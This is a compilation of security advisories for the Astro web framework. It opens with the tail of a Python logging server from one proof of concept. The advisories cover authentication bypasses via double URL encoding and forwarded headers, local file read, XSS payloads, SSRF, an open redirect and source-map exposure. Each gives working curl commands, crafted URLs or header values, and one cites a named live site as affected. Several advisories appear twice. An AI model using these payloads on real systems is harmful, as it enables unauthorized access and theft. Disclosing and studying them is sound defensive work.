        self.end_headers()
        self.wfile.write(b"ok")

    def log_message(self, format, *args):
        return

if __name__ == "__main__":
    server = HTTPServer((HOST, PORT), Handler)
    print(f"HTTP logger listening on http://{HOST}:{PORT}")
    server.serve_forever()
PoC Steps

Bootstrap default Astro project.

Add the vulnerable config and attacker server.

Build the project.

Start the attacker server.

Start the Astro server.

Run the PoC.

Observe the console output showing both the allowed and bypass requests returning the SVG payload.

🚨 Astro has an Authentication Bypass via Double URL Encoding, a bypass for CVE-2025-64765

Authentication Bypass via Double URL Encoding in Astro

Bypass for CVE-2025-64765 / GHSA-ggxq-hp9w-j794

Summary

A double URL encoding bypass allows any unauthenticated attacker to bypass path-based authentication checks in Astro middleware, granting unauthorized access to protected routes. While the original CVE-2025-64765 (single URL encoding) was fixed in v5.15.8, the fix is insufficient as it only decodes once. By using double-encoded URLs like /%2561dmin instead of /%61dmin, attackers can still bypass authentication and access protected resources such as /admin, /api/internal, or any route protected by middleware pathname checks.

Fix

A more secure fix is just decoding once, then if the request has a %xx format, return a 400 error by using something like :
if (containsEncodedCharacters(pathname)) {
            // Multi-level encoding detected - reject request
            return new Response(
                'Bad Request: Multi-level URL encoding is not allowed',
                {
                    status: 400,
                    headers: { 'Content-Type': 'text/plain' }
                }
            );
        }

🚨 Astro's middleware authentication checks based on url.pathname can be bypassed via url encoded values

A mismatch exists between how Astro normalizes request paths for routing/rendering and how the application’s middleware reads the path for validation checks. Astro internally applies decodeURI() to determine which route to render, while the middleware uses context.url.pathname without applying the same normalization (decodeURI).

This discrepancy may allow attackers to reach protected routes (e.g., /admin) using encoded path variants that pass routing but bypass validation checks.

astro/packages/astro/src/vite-plugin-astro-server/request.ts

Lines 40 to 44 in ebc4b1c

pathname = decodeURI(url.pathname);

}

// Add config.base back to url before passing it to SSR

url.pathname = removeTrailingForwardSlash(config.base) + url.pathname;
/** The main logic to route dev server requests to pages in Astro. */
export async function handleRequest({
    pipeline,
    routesList,
    controller,
    incomingRequest,
    incomingResponse,
}: HandleRequest) {
    const { config, loader } = pipeline;
    const origin = `${loader.isHttps() ? 'https' : 'http'}://${
        incomingRequest.headers[':authority'] ?? incomingRequest.headers.host
    }`;

    const url = new URL(origin + incomingRequest.url);
    let pathname: string;
    if (config.trailingSlash === 'never' && !incomingRequest.url) {
        pathname = '';
    } else {
        // We already have a middleware that checks if there's an incoming URL that has invalid URI, so it's safe
        // to not handle the error: packages/astro/src/vite-plugin-astro-server/base.ts
        pathname = decodeURI(url.pathname); // here this url is for routing/rendering
    }

    // Add config.base back to url before passing it to SSR
    url.pathname = removeTrailingForwardSlash(config.base) + url.pathname; // this is used for middleware context
Consider an application having the following middleware code:
import { defineMiddleware } from "astro/middleware";

export const onRequest = defineMiddleware(async (context, next) => {
  const isAuthed = false;  // simulate no auth
  if (context.url.pathname === "/admin" && !isAuthed) {
    return context.redirect("/");
  }
  return next();
});
context.url.pathname is validated , if it's equal to /admin the isAuthed property must be true for the next() method to be called. The same example can be found in the official docs https://docs.astro.build/en/guides/authentication/

context.url.pathname returns the raw version which is /%61admin while pathname which is used for routing/rendering /admin, this creates a path normalization mismatch.

By sending the following request, it's possible to bypass the middleware check
GET /%61dmin HTTP/1.1
Host: localhost:3000
Remediation

Ensure middleware context has the same normalized pathname value that Astro uses internally, because any difference could allow it to bypass such checks. In short maybe something like this
        pathname = decodeURI(url.pathname);
    }

    // Add config.base back to url before passing it to SSR
-    url.pathname = removeTrailingForwardSlash(config.base) + url.pathname;
+    url.pathname = removeTrailingForwardSlash(config.base) + decodeURI(url.pathname);
Thank you, let @Sudistark know if any more info is needed. Happy to help :)

🚨 Astro Development Server has Arbitrary Local File Read

Summary

A vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system.

Details

Title: Arbitrary Local File Read in Astro Development Image Endpoint

Type: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Component: /packages/astro/src/assets/endpoint/node.ts

Affected Versions: Astro v5.x development builds (confirmed v5.13.3)

Attack Vector: Network (HTTP GET request)

Authentication Required: None

The vulnerability exists in the Node.js image endpoint handler used during development mode. The endpoint accepts an href parameter that specifies the path to an image file. In development mode, this parameter is processed without adequate path validation, allowing attackers to specify absolute file paths.

Vulnerable Code Location: packages/astro/src/assets/endpoint/node.ts
// Vulnerable code in development mode
if (import.meta.env.DEV) {
    fileUrl = pathToFileURL(removeQueryString(replaceFileSystemReferences(src)));
} else {
    // Production has proper path validation
    // ... security checks omitted in dev mode
}
The development branch bypasses the security checks that exist in the production code path, which validates that file paths are within the allowed assets directory.

PoC

Attack Prerequisites

Astro development server must be running (astro dev)

The /_image endpoint must be accessible to the attacker

Target image files must be readable by the Node.js process

Exploit Steps
Start Astro Development Server:
astro dev  # Typically runs on http://localhost:4321
Craft Malicious Request:
GET /_image?href=/[ABSOLUTE_PATH_TO_IMAGE]&w=100&h=100&f=png HTTP/1.1
Host: localhost:4321
Example Attack:
curl "http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png" -o stolen.png
Demonstration Results

Test Environment: macOS with Astro v5.13.3

Successful Exploitation:

Target: /System/Library/Image Capture/Automatic Tasks/MakePDF.app/Contents/Resources/0blank.jpg

Response: HTTP 200 OK, Content-Type: image/png

Exfiltration: 303 bytes (100x100 PNG)

File Created: stolen-image.png containing processed system image

Attack Payload:
http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png
Server Response:
Status: 200 OK
Content-Type: image/png
Content-Length: 303
Impact

Confidentiality Impact: HIGH

Scope: Any image file readable by the Node.js process

Exfiltration Method: Complete file contents via HTTP response (transformed to PNG)

Integrity Impact: NONE

The vulnerability only allows reading files, not modification

Availability Impact: NONE

No direct impact on system availability

Potential for resource exhaustion through repeated large image requests

Affected Components

Primary Component

File: packages/astro/src/assets/endpoint/node.ts

Function: loadLocalImage()

Lines: Development mode branch (~25-35)

Secondary Components

File: packages/astro/src/assets/endpoint/generic.ts

Impact: Uses different code path, not directly vulnerable

Note: Implements proper remote allowlist validation

🚨 Astro vulnerable to reflected XSS via the server islands feature

Summary

After some research it appears that it is possible to obtain a reflected XSS when the server islands feature is used in the targeted application, regardless of what was intended by the component template(s).

Details

Server islands run in their own isolated context outside of the page request and use the following pattern path to hydrate the page: /_server-islands/[name]. These paths can be called via GET or POST and use three parameters:

e: component to export

p: the transmitted properties, encrypted

s: for the slots

Slots are placeholders for external HTML content, and therefore allow, by default, the injection of code if the component template supports it, nothing exceptional in principle, just a feature.

This is where it becomes problematic: it is possible, independently of the component template used, even if it is completely empty, to inject a slot containing an XSS payload, whose parent is a tag whose name is is the absolute path of the island file. Enabling reflected XSS on any application, regardless of the component templates used, provided that the server islands is used at least once.

How ?

By default, when a call is made to the endpoint /_server-islands/[name], the value of the parameter e is default, pointing to a function exported by the component's module.

Upon further investigation, we find that two other values are possible for the component export (param e) in a typical configuration: url and file. file returns a string value corresponding to the absolute path of the island file. Since the value is of type string, it fulfills the following condition and leads to this code block:

An entire template is created, completely independently, and then returned:

the absolute path name is sanitized and then injected as the tag name

childSlots, the value provided to the s parameter, is injected as a child

All of this is done using markHTMLString. This allows the injection of any XSS payload, even if the component template intended by the application is initially empty or does not provide for the use of slots.

Proof of concept

For our Proof of Concept (PoC), we will use a minimal repository:

Latest Astro version at the time (5.15.6)

Use of Island servers, with a completely empty component, to demonstrate what we explained previously

Download the PoC repository

Access the following URL and note the opening of the popup, demonstrating the reflected XSS:

http://localhost:4321/_server-islands/ServerTime?e=file&p=&s={%22zhero%22:%22%3Cimg%20src=x%20onerror=alert(0)%3E%22}

The value of the parameter s must be in JSON format and the payload must be injected at the value level, not the key level :

Despite the initial template being empty, it is created because the value of the URL parameter e is set to file, as explained earlier. The parent tag is the name of the component's internal route, and its child is the value of the key "zhero" (the name doesn't matter) of the URL parameter s.

Credits

Allam Rachid (zhero;)

Allam Yasser (inzo)

🚨 Astro Cloudflare adapter has Stored Cross-site Scripting vulnerability in /_image endpoint

Summary
A Cross-Site Scripting (XSS) vulnerability exists in Astro when using the @astrojs/cloudflare adapter with output: 'server'. The built-in image optimization endpoint (/_image) uses isRemoteAllowed() from Astro’s internal helpers, which unconditionally allows data: URLs. When the endpoint receives a valid data: URL pointing to a malicious SVG containing JavaScript, and the Cloudflare-specific implementation performs a 302 redirect back to the original data: URL, the browser directly executes the embedded JavaScript. This completely bypasses any domain allow-listing (image.domains / image.remotePatterns) and typical Content Security Policy mitigations.

Affected Versions

@astrojs/cloudflare ≤ 12.6.10 (and likely all previous versions)

Astro ≥ 4.x when used with output: 'server' and the Cloudflare adapter

Root Cause – Vulnerable Code
File: node_modules/@astrojs/internal-helpers/src/remote.ts
export function isRemoteAllowed(src: string, ...): boolean {
  if (!URL.canParse(src)) {
    return false;
  }
  const url = new URL(src);

  // Data URLs are always allowed 
  if (url.protocol === 'data:') {
    return true;
  }

  // Non-http(s) protocols are never allowed
  if (!['http:', 'https:'].includes(url.protocol)) {
    return false;
  }
  // ... further http/https allow-list checks
}
In the Cloudflare adapter, the /_image endpoint contains logic similar to:
	const href = ctx.url.searchParams.get('href');
	if (!href) {
		// return error 
	}

	if (isRemotePath(href)) {
		if (isRemoteAllowed(href, imageConfig) === false) {
			// return error
		} else {
            //redirect to return the image 
			return Response.redirect(href, 302);
		}
	}
Because data: URLs are considered “allowed”, a request such as:
https://example.com/_image?href=... (base64-encoded malicious SVG)

triggers a 302 redirect directly to the data: URL, causing the browser to render and execute the malicious JavaScript inside the SVG.

Proof of Concept (PoC)

Create a minimal Astro project with Cloudflare adapter (output: 'server').

Deploy to Cloudflare Pages or Workers.

Request the image endpoint with the following payload:
https://yoursite.com/_image?href=
(Base64 decodes to: <svg xmlns="http://www.w3.org/2000/svg"><script>alert('zomasec')</script></svg>)

The endpoint returns a 302 redirect to the data: URL → browser executes the <script> → alert() fires.

Impact

Reflected/Strored XSS (depending on application usage)

Session hijacking (access to cookies, localStorage, etc.)

Account takeover when combined with CSRF

Data exfiltration to attacker-controlled servers

Bypasses image.domains / image.remotePatterns configuration entirely

Safe vs Vulnerable Behavior
Other Astro adapters (Node, Vercel, etc.) typically proxy and rasterize SVGs, stripping JavaScript. The Cloudflare adapter currently redirects to remote resources (including data: URLs), making it uniquely vulnerable.

References

Vulnerable function: https://github.com/withastro/astro/blob/main/packages/internal-helpers/src/remote.ts

Similar data: URL bypass in WordPress: CVE-2025-2575

🚨 Astro vulnerable to URL manipulation via headers, leading to middleware and CVE-2025-61925 bypass

Summary

In impacted versions of Astro using on-demand rendering, request headers x-forwarded-proto and x-forwarded-port are insecurely used, without sanitization, to build the URL. This has several consequences the most important of which are:

Middleware-based protected route bypass (only via x-forwarded-proto)

DoS via cache poisoning (if a CDN is present)

SSRF (only via x-forwarded-proto)

URL pollution (potential SXSS, if a CDN is present)

WAF bypass

Details

The x-forwarded-proto and x-forwarded-port headers are used without sanitization in two parts of the Astro server code. The most important is in the createRequest() function. Any configuration, including the default one, is affected:

astro/packages/astro/src/core/app/node.ts

Line 97 in 970ac0f

const forwardedProtocol = getFirstForwardedValue(req.headers['x-forwarded-proto']);

astro/packages/astro/src/core/app/node.ts

Line 121 in 970ac0f

const port = getFirstForwardedValue(req.headers['x-forwarded-port']);

These header values are then used directly to construct URLs.

By injecting a payload at the protocol level during URL creation (via the x-forwarded-proto header), the entire URL can be rewritten, including the host, port and path, and then pass the rest of the URL, the real hostname and path, as a query so that it doesn't affect (re)routing.

If the following header value is injected when requesting the path /ssr:
x-forwarded-proto: https://www.malicious-url.com/?tank=
The complete URL that will be created is: https://www.malicious-url.com/?tank=://localhost/ssr

As a reminder, URLs are created like this:
url = new URL(`${protocol}://${hostnamePort}${req.url}`);
The value is injected at the beginning of the string (${protocol}), and ends with a query ?tank= whose value is the rest of the string, ://${hostnamePort}${req.url}.

This way there is control over the routing without affecting the path, and the URL can be manipulated arbitrarily. This behavior can be exploited in various ways, as will be seen in the PoC section.

The same logic applies to x-forwarded-port, with a few differences.

Note

The createRequest function is called every time a non-static page is requested. Therefore, all non-static pages are exploitable for reproducing the attack.

PoC

The PoC will be tested with a minimal repository:

Latest Astro version at the time (2.16.0)

The Node adapter

Two simple pages, one SSR (/ssr), the other simulating an admin page (/admin) protected by a middleware

A middleware example copied and pasted from the official Astro documentation to protect the admin page based on the path

Download the PoC repository

Middleware-based protected route bypass - x-forwarded-proto only

The middleware has been configured to protect the /admin route based on the official documentation:
// src/middleware.ts
import { defineMiddleware } from "astro/middleware";

export const onRequest = defineMiddleware(async (context, next) => {
  const isAuthed = false; // auth logic
  if (context.url.pathname === "/admin" && !isAuthed) {
    return context.redirect("/");
  }
  return next();
});
When tryint to access /admin the attacker is naturally redirected :
curl -i http://localhost:4321/admin
The attackr can bypass the middleware path check using a malicious header value:
curl -i -H "x-forwarded-proto: x:admin?" http://localhost:4321/admin
How is this possible?

Here, with the payload x:admin?, the attacker can use the URL API parser to their advantage:

x: is considered the protocol

Since there is no //, the parser considers there to be no authority, and everything before the ? character is therefore considered part of the path: admin

During a path-based middleware check, the path value begins with a /: context.url.pathname === "/admin". However, this is not the case with this payload; context.url.pathname === "admin", the absence of a slash satisfies both the middleware check and the router and consequently allows us to bypass the protection and access the page.

SSRF

As seen, the request URL is built from untrusted input via the x-forwarded-protocol header, if it turns out that this URL is subsequently used to perform external network calls, for an API for example, this allows an attacker to supply a malicious URL that the server will fetch, resulting in server-side request forgery (SSRF).

Example of code reusing the "origin" URL, concatenating it to the API endpoint :

DoS via cache poisoning

If a CDN is present, it is possible to force the caching of bad pages/resources, or 404 pages on the application routes, rendering the application unusable.

A 404 cab be forced, causing an error on the /ssr page like this : curl -i -H "x-forwarded-proto: https://localhost/vulnerable?" http://localhost:4321/ssr

Same logic applies to x-forwarded-port : curl -i -H "x-forwarded-port: /vulnerable?" http://localhost:4321/ssr

How is this possible?

The router sees the request for the path /vulnerable, which does not exist, and therefore returns a 404, while the potential CDN sees /ssr and can then cache the 404 response, consequently serving it to all users requesting the path /ssr.

URL pollution

The exploitability of the following is also contingent on the presence of a CDN, and is therefore cache poisoning.

If the value of request.url is used to create links within the page, this can lead to Stored XSS with x-forwarded-proto and the following value:
x-forwarded-proto: javascript:alert(document.cookie)//
results in the following URL object:

It is also possible to inject any link, always, if the value of request.url is used on the server side to create links.
x-forwarded-proto: https://www.malicious-site.com/bad?
The attacker is more limited with x-forwarded-port

If the value of request.url is used to create links within the page, this can lead to broken links, with the header and the following value:
X-Forwarded-Port: /nope?
Example of an Astro website:

WAF bypass

For this section, Astro invites users to read previous research on the React-Router/Remix framework, in the section "Exploitation - WAF bypass and escalations". This research deals with a similar case, the difference being that the vulnerable header was x-forwarded-host in their case:

https://zhero-web-sec.github.io/research-and-things/react-router-and-the-remixed-path

Note: A section addressing DoS attacks via cache poisoning using the same vector was also included there.

CVE-2025-61925 complete bypass

It is possible to completely bypass the vulnerability patch related to the X-Forwarded-Host header.

By sending x-forwarded-host with an empty value, the forwardedHostname variable is assigned an empty string. Then, during the subsequent check, the condition fails because forwardedHostname returns false, its value being an empty string:
if (forwardedHostname && !App.validateForwardedHost(...))
Consequently, the implemented check is bypassed. From this point on, since the request has no host (its value being an empty string), the path value is retrieved by the URL parser to set it as the host. This is because the http/https schemes are considered special schemes by the WHATWG URL Standard Specification, requiring an authority state.

From there, the following request on the example SSR application (astro repo) yields an SSRF:

empty x-forwarded-host + the target host in the path

Credits

Allam Rachid (zhero;)

Allam Yasser (inzo)

🚨 Astro development server error page is vulnerable to reflected Cross-site Scripting

Summary

A Reflected Cross-Site Scripting (XSS) vulnerability exists in Astro's development server error pages when the trailingSlash configuration option is used. An attacker can inject arbitrary JavaScript code that executes in the victim's browser context by crafting a malicious URL. While this vulnerability only affects the development server and not production builds, it could be exploited to compromise developer environments through social engineering or malicious links.

Details

Vulnerability Location

astro/packages/astro/src/template/4xx.ts

Lines 133 to 149 in 5bc37fd

export function trailingSlashMismatchTemplate(

pathname: string,

trailingSlash: 'always' | 'never' | 'ignore',

) {

const corrected =

trailingSlash === 'always'

? appendForwardSlash(pathname)

: removeTrailingForwardSlash(pathname);

return template({

pathname,

statusCode: 404,

title: 'Not found',

tabTitle: '404: Not Found',

body: `<p>Your site is configured with <code>trailingSlash</code> set to <code>${trailingSlash}</code>. Do you want to go to <a href="${corrected}">${corrected}</a> instead?</p>

<p>See <a href="https://docs.astro.build/en/reference/configuration-reference/#trailingslash">the documentation for <code>trailingSlash</code></a> if you need help.</p>`,

});

}

Root Cause

The vulnerability was introduced in commit 536175528 (PR #12994) , as part of a feature to "redirect trailing slashes on on-demand rendered pages." The feature added a helpful 404 error page in development mode to alert developers of trailing slash mismatches.

Issue: The corrected variable, which is derived from the user-controlled pathname parameter, is directly interpolated into the HTML without proper escaping. While the pathname variable itself is escaped elsewhere in the same file (line 114: escape(pathname)), the corrected variable is not sanitized before being inserted into both the href attribute and the link text.

Attack Vector

When a developer has configured trailingSlash to 'always' or 'never' and visits a URL with a mismatched trailing slash, the development server returns a 404 page containing the vulnerable template. An attacker can craft a URL with JavaScript payloads that will be executed when the page is rendered.

PoC

Local Testing (localhost)

Basic vulnerability verification in local development environment
Show details

astro.config.mjs:
import { defineConfig } from 'astro/config';

export default defineConfig({
  trailingSlash: 'never', // or 'always'
  server: {
    port: 3000,
    host: true
  }
});
package.json:
{
  "name": "astro-xss-poc-victim",
  "version": "0.1.0",
  "scripts": {
    "dev": "astro dev"
  },
  "dependencies": {
    "astro": "5.15.5"
  }
}
Start the development server:
npm install
npm run dev
Access the following malicious URL depending on your configuration:

For trailingSlash: 'never' (requires trailing slash):
http://localhost:3000/"></code><script>alert(document.domain)</script><!--/
For trailingSlash: 'always' (no trailing slash):
http://localhost:3000/"></code><script>alert(document.domain)</script><!--
When accessing the malicious URL:

The development server returns a 404 page due to trailing slash mismatch

The JavaScript payload (alert(document.domain)) executes in the browser

An alert dialog appears, demonstrating arbitrary code execution
Remote Testing (ngrok)

Reproduce realistic attack scenario via external malicious link
Show details

Prerequisites: ngrok account and authtoken configured (ngrok config add-authtoken <key>)

Setup and Execution:
#!/bin/bash
set -e

mkdir -p logs

npm i
npm run dev > ./logs/victim.log 2>&1 &

ngrok http 3000 > ./logs/ngrok.log 2>&1 &

sleep 3

NGROK_URL=$(curl -s http://localhost:4040/api/tunnels | grep -o '"public_url":"https://[^"]*' | head -1 | cut -d'"' -f4)
echo ""
echo "=== Attack URLs ==="
echo ""
echo "For trailingSlash: 'never' (requires trailing slash):"
echo "${NGROK_URL}/\"></code><script>alert(document.domain)</script><!--/"
echo ""
echo "For trailingSlash: 'always' (no trailing slash):"
echo "${NGROK_URL}/\"></code><script>alert(document.domain)</script><!--"
echo ""
wait
When a remote user accesses either of the generated attack URLs:

The request is tunneled through ngrok to the local development server

The development server returns a 404 page due to trailing slash mismatch

The JavaScript payload (alert(document.domain)) executes in the user's browser

Both URL patterns work depending on your trailingSlash configuration ('never' or 'always').
Impact

This only affects the development server. Risk depends on how and where the dev server is exposed.

Security impact

Developer environment compromise: Visiting a crafted URL can run arbitrary JS in the developer's browser.

Session hijacking: Active developer sessions can be stolen if services are open in the browser.

Local resource access: JS may probe localhost endpoints or dev tools depending on browser policies.

Supply-chain risk: Malicious packages or CI that start dev servers can widen exposure.

Attack scenarios

Social engineering: Malicious link sent to a developer triggers the XSS when opened.

Malicious documentation: Attack URLs embedded in issues, PRs, chat, or docs.

Dependency/CI abuse: Packages or automation that spawn public dev servers expose many targets.

🚨 Astro's bypass of image proxy domain validation leads to SSRF and potential XSS

Summary

This is a patch bypass of CVE-2025-58179 in commit 9ecf359. The fix blocks http://, https:// and //, but can be bypassed using backslashes (\) - the endpoint still issues a server-side fetch.

PoC

https://astro.build/_image?href=\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg

🚨 Astro's `X-Forwarded-Host` is reflected without validation

Summary

When running Astro in on-demand rendering mode using a adapter such as the node adapter it is possible to maliciously send an X-Forwarded-Host header that is reflected when using the recommended Astro.url property as there is no validation that the value is safe.

Details

Astro reflects the value in X-Forwarded-Host in output when using Astro.url without any validation.

It is common for web servers such as nginx to route requests via the Host header, and forward on other request headers. As such as malicious request can be sent with both a Host header and an X-Forwarded-Host header where the values do not match and the X-Forwarded-Host header is malicious. Astro will then return the malicious value.

This could result in any usages of the Astro.url value in code being manipulated by a request. For example if a user follows guidance and uses Astro.url for a canonical link the canonical link can be manipulated to another site. It is not impossible to imagine that the value could also be used as a login/registration or other form URL as well, resulting in potential redirecting of login credentials to a malicious party.

As this is a per-request attack vector the surface area would only be to the malicious user until one considers that having a caching proxy is a common setup, in which case any page which is cached could persist the malicious value for subsequent users.

Many other frameworks have an allowlist of domains to validate against, or do not have a case where the headers are reflected to avoid such issues.

PoC

Check out the minimal Astro example found here: https://github.com/Chisnet/minimal_dynamic_astro_server

nvm use

yarn run build

node ./dist/server/entry.mjs

curl --location 'http://localhost:4321/' --header 'X-Forwarded-Host: www.evil.com' --header 'Host: www.example.com'

Observe that the response reflects the malicious X-Forwarded-Host header

For the more advanced / dangerous attack vector deploy the application behind a caching proxy, e.g. Cloudflare, set a non-zero cache time, perform the above curl request a few times to establish a cache, then perform the request without the malicious headers and observe that the malicious data is persisted.

Impact

This could affect anyone using Astro in an on-demand/dynamic rendering mode behind a caching proxy.

🚨 Astro allows unauthorized third-party images in _image endpoint

Summary

In affected versions of astro, the image optimization endpoint in projects deployed with on-demand rendering allows images from unauthorized third-party domains to be served.

Details

On-demand rendered sites built with Astro include an /_image endpoint which returns optimized versions of images.

The /_image endpoint is restricted to processing local images bundled with the site and also supports remote images from domains the site developer has manually authorized (using the image.domains or image.remotePatterns options).

However, a bug in impacted versions of astro allows an attacker to bypass the third-party domain restrictions by using a protocol-relative URL as the image source, e.g. /_image?href=//example.com/image.png.

Proof of Concept
Create a new minimal Astro project (astro@5.13.0).
Configure it to use the Node adapter (@astrojs/node@9.1.0 — newer versions are not impacted):
// astro.config.mjs
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
	adapter: node({ mode: 'standalone' }),
});
Build the site by running astro build.

Run the server, e.g. with astro preview.

Append /_image?href=//placehold.co/600x400 to the preview URL, e.g. http://localhost:4321/_image?href=//placehold.co/600x400

The site will serve the image from the unauthorized placehold.co origin.
Impact

Allows a non-authorized third-party to create URLs on an impacted site’s origin that serve unauthorized image content.
In the case of SVG images, this could include the risk of cross-site scripting (XSS) if a user followed a link to a maliciously crafted SVG.

🚨 Astro allows unauthorized third-party images in _image endpoint

Summary

In affected versions of astro, the image optimization endpoint in projects deployed with on-demand rendering allows images from unauthorized third-party domains to be served.

Details

On-demand rendered sites built with Astro include an /_image endpoint which returns optimized versions of images.

The /_image endpoint is restricted to processing local images bundled with the site and also supports remote images from domains the site developer has manually authorized (using the image.domains or image.remotePatterns options).

However, a bug in impacted versions of astro allows an attacker to bypass the third-party domain restrictions by using a protocol-relative URL as the image source, e.g. /_image?href=//example.com/image.png.

Proof of Concept
Create a new minimal Astro project (astro@5.13.0).
Configure it to use the Node adapter (@astrojs/node@9.1.0 — newer versions are not impacted):
// astro.config.mjs
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
	adapter: node({ mode: 'standalone' }),
});
Build the site by running astro build.

Run the server, e.g. with astro preview.

Append /_image?href=//placehold.co/600x400 to the preview URL, e.g. http://localhost:4321/_image?href=//placehold.co/600x400

The site will serve the image from the unauthorized placehold.co origin.
Impact

Allows a non-authorized third-party to create URLs on an impacted site’s origin that serve unauthorized image content.
In the case of SVG images, this could include the risk of cross-site scripting (XSS) if a user followed a link to a maliciously crafted SVG.

🚨 Astros's duplicate trailing slash feature leads to an open redirection security issue

Summary

There is an Open Redirection vulnerability in the trailing slash redirection logic when handling paths with double slashes. This allows an attacker to redirect users to arbitrary external domains by crafting URLs such as https://mydomain.com//malicious-site.com/. This increases the risk of phishing and other social engineering attacks.

This affects Astro >=5.2.0 sites that use on-demand rendering (SSR) with the Node or Cloudflare adapter. It does not affect static sites, or sites deployed to Netlify or Vercel.

Background

Astro performs automatic redirection to the canonical URL, either adding or removing trailing slashes according to the value of the trailingSlash configuration option. It follows the following rules:

If trailingSlash is set to "never", https://example.com/page/ will redirect to https://example.com/page

If trailingSlash is set to "always", https://example.com/page will redirect to https://example.com/page/

It also collapses multiple trailing slashes, according to the following rules:

If trailingSlash is set to "always" or "ignore" (the default), https://example.com/page// will redirect to https://example.com/page/

If trailingSlash is set to "never", https://example.com/page// will redirect to https://example.com/page

It does this by returning a 301 redirect to the target path. The vulnerability occurs because it uses a relative path for the redirect. To redirect from https://example.com/page to https://example.com/page/, it sending a 301 response with the header Location: /page/. The browser resolves this URL relative to the original page URL and redirects to https://example.com/page/

Details

The vulnerability occurs if the target path starts with //. A request for https://example.com//page will send the header Location: //page/. The browser interprets this as a protocol-relative URL, so instead of redirecting to https://example.com//page/, it will attempt to redirect to https://page/. This is unlikely to resolve, but by crafting a URL in the form https://example.com//target.domain/subpath, it will send the header Location: //target.domain/subpath/, which the browser translates as a redirect to https://target.domain/subpath/. The subpath part is required because otherwise Astro will interpret /target.domain as a file download, which skips trailing slash handling.

This leads to an Open Redirect vulnerability.

The URL needed to trigger the vulnerability varies according to the trailingSlash setting.

If trailingSlash is set to "never", a URL in the form https://example.com//target.domain/subpath/

If trailingSlash is set to "always", a URL in the form https://example.com//target.domain/subpath

For any config value, a URL in the form https://example.com//target.domain/subpath//

Impact

This is classified as an Open Redirection vulnerability (CWE-601). It affects any user who clicks on a specially crafted link pointing to the affected domain. Since the domain appears legitimate, victims may be tricked into trusting the redirected page, leading to possible credential theft, malware distribution, or other phishing-related attacks.

No authentication is required to exploit this vulnerability. Any unauthenticated user can trigger the redirect by clicking a malicious link.

Mitigation

Usrs can test if your site is affected by visiting https://yoursite.com//docs.astro.build/en//. If a user is redirected to the Astro docs then their site is affected and must be updated.

Upgrade to Astro 5.12.8. To mitigate at the network level, block outgoing redirect responses with a Location header value that starts with //.

🚨 Astro's server source code is exposed to the public if sourcemaps are enabled

Summary

A bug in the build process allows any unauthenticated user to read parts of the server source code.

Details

During build, along with client assets such as css and font files, the sourcemap files for the server code are moved to a publicly-accessible folder.

astro/packages/astro/src/core/build/static-build.ts

Line 139 in 176fe9f

await ssrMoveAssets(opts, ssrOutputAssetNames);

Any outside party can read them with an unauthorized HTTP GET request to the same server hosting the rest of the website.

While some server files are hashed, making their access obscure, the files corresponding to the file system router (those in src/pages) are predictably named. For example. the sourcemap file for src/pages/index.astro gets named dist/client/pages/index.astro.mjs.map.

PoC

Here is one example of an affected open-source website:
https://creatorsgarten.org/pages/index.astro.mjs.map

The file can be saved and opened using https://evanw.github.io/source-map-visualization/ to reconstruct the source code.

The above accurately mirrors the source code as seen in the repository: https://github.com/creatorsgarten/creatorsgarten.org/blob/main/src/pages/index.astro

The above was found as the 4th result (and the first one on Astro 5.0+) when making the following search query on GitHub.com (search results link):
path:astro.config.mjs @sentry/astro
This vulnerability is the root cause of #12703, which links to a simple stackblitz project demonstrating the vulnerability. Upon build, notice the contents of the dist/client (referred to as config.build.client in astro code) folder. All astro servers make the folder in question accessible to the public internet without any authentication. It contains .map files corresponding to the code that runs on the server.

Impact

All server-output (SSR) projects on Astro 5 versions v5.0.3 through v5.0.6 (inclusive), that have sourcemaps enabled, either directly or through an add-on such as sentry, are affected. The fix for server-output projects was released in astro@5.0.7.

Additionally, all static-output (SSG) projects built using Astro 4 versions 4.16.17 or older, or Astro 5 versions 5.0.7 or older, that have sourcemaps enabled are also affected. The fix for static-output projects was released in astro@5.0.8, and backported to Astro v4 in astro@4.16.18.

The immediate impact is limited to source code. Any secrets or environment variables are not exposed unless they are present verbatim in the source code.

There is no immediate loss of integrity within the the vulnerable server. However, it is possible to subsequently discover another vulnerability via the revealed source code .

There is no immediate impact to availability of the vulnerable server. However, the presence of an unsafe regular expression, for example, can quickly be exploited to subsequently compromise the availability.

Network attack vector.

Low attack complexity.

No privileges required.

No interaction required from an authorized user.

Scope is limited to first party. Although the source code of closed-source third-party software may also be exposed.

Remediation

The fix for server-output projects was released in astro@5.0.7, and the fix for static-output projects was released in astro@5.0.8 and backported to Astro v4 in astro@4.16.18. Users are advised to update immediately if they are using sourcemaps or an integration that enables sourcemaps.

🚨 Astro's server source code is exposed to the public if sourcemaps are enabled

Summary

A bug in the build process allows any unauthenticated user to read parts of the server source code.

Details

During build, along with client assets such as css and font files, the sourcemap files for the server code are moved to a publicly-accessible folder.

astro/packages/astro/src/core/build/static-build.ts

Line 139 in 176fe9f

await ssrMoveAssets(opts, ssrOutputAssetNames);

Any outside party can read them with an unauthorized HTTP GET request to the same server hosting the rest of the website.

While some server files are hashed, making their access obscure, the files corresponding to the file system router (those in src/pages) are predictably named. For example. the sourcemap file for src/pages/index.astro gets named dist/client/pages/index.astro.mjs.map.

PoC

Here is one example of an affected open-source website:
https://creatorsgarten.org/pages/index.astro.mjs.map

The file can be saved and opened using https://evanw.github.io/source-map-visualization/ to reconstruct the source code.

The above accurately mirrors the source code as seen in the repository: https://github.com/creatorsgarten/creatorsgarten.org/blob/main/src/pages/index.astro

The above was found as the 4th result (and the first one on Astro 5.0+) when making the following search query on GitHub.com (search results link):
path:astro.config.mjs @sentry/astro
